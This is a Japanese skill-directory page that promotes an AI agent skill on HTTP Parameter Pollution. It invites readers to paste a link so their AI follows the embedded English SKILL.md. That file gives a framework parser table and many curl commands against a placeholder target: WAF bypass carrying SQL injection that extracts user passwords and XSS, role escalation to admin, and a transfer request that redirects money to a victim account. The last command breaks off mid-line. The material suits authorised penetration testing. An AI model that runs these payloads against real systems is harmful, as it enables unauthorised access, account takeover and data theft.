本文へスキップ
Skillpedia
セキュリティ6.5k · #14065

hpp

できること

このスキルは、同じ名前のリクエストパラメーターが、ファイアウォール、サーバー、アプリによって異なる値として読まれる仕組みを説明します。その違いで攻撃やアクセス確認をすり抜けられないかを調べるセキュリティテスター向けです。

使う場面

  • ✓ファイアウォールとアプリが、重複したURLやフォームのパラメーターを異なる方法で読む可能性があるとき。
  • ✓ログインやアクセス確認が、重複しうるパラメーターを使っているとき。
  • ✓重複した値を使って、セキュリティフィルターを回避できるか確かめたいとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私のアプリでidパラメーターを重複させて送ったとき、アクセスされるアカウントが変わるか確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは重複したパラメーターを送り、各層が使う値を比べます。フィルターが確認した内容と、アプリが実際に処理する内容のずれを探します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

1. Parser precedence table

When ?id=1&id=2 (or duplicated body params) is received:

Stack request.GET['id'] / equivalent getParameterValues / list view
PHP ($_GET) last wins (2) $_GET['id[]'] only; otherwise the dup is dropped
ASP.NET (Request.QueryString["id"]) comma-concatenated ("1,2") GetValues returns both
ASP Classic comma-concatenated —
Java Servlet (getParameter) first (1) getParameterValues returns both
Java Spring @RequestParam String first List<String> binds both
Node.js qs (Express default) array (["1","2"]) n/a
Node.js querystring (legacy) array n/a
Python Flask request.args.get first getlist returns both
Python Django request.GET['id'] last getlist returns both
Python urllib.parse.parse_qs list (["1","2"]) —
Ruby on Rails last params[:id] is the last; arrays via id[]=
Go net/http r.URL.Query().Get first ["id"] returns all
Perl CGI param("id") first in scalar, list in list context —
nginx $arg_id first —
Apache mod_rewrite %{QUERY_STRING} raw — passes both —
AWS API Gateway → Lambda proxy last in queryStringParameters, all in multiValueQueryStringParameters —
Cloudflare WAF inspects all values for rule match (generally) —
AWS WAF inspects each occurrence —
ModSecurity (CRS) inspects each — but anomaly score per rule —

The exploitable pattern: WAF/proxy reads value A, app reads value B.

2. Detection

# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup

Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.

for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done

3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"

Mixed source confusion — GET vs POST:

# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'

4. Server-side HPP — auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
よくある質問

どのWebフレームワークを比較していますか?

PHP、ASP.NET、Java、Node.js、Python、Rubyが、重複したパラメーターからどの値を選ぶかを示す表を含んでいます。

これ単体で重大なバグですか?

単体では通常は低い、または中程度とされています。ほかの攻撃と組み合わせると、より深刻になると説明しています。

URLだけが対象ですか?

いいえ。フォームの本文にある重複したパラメーターも扱っています。

詳細

作者による元の説明

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14065
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル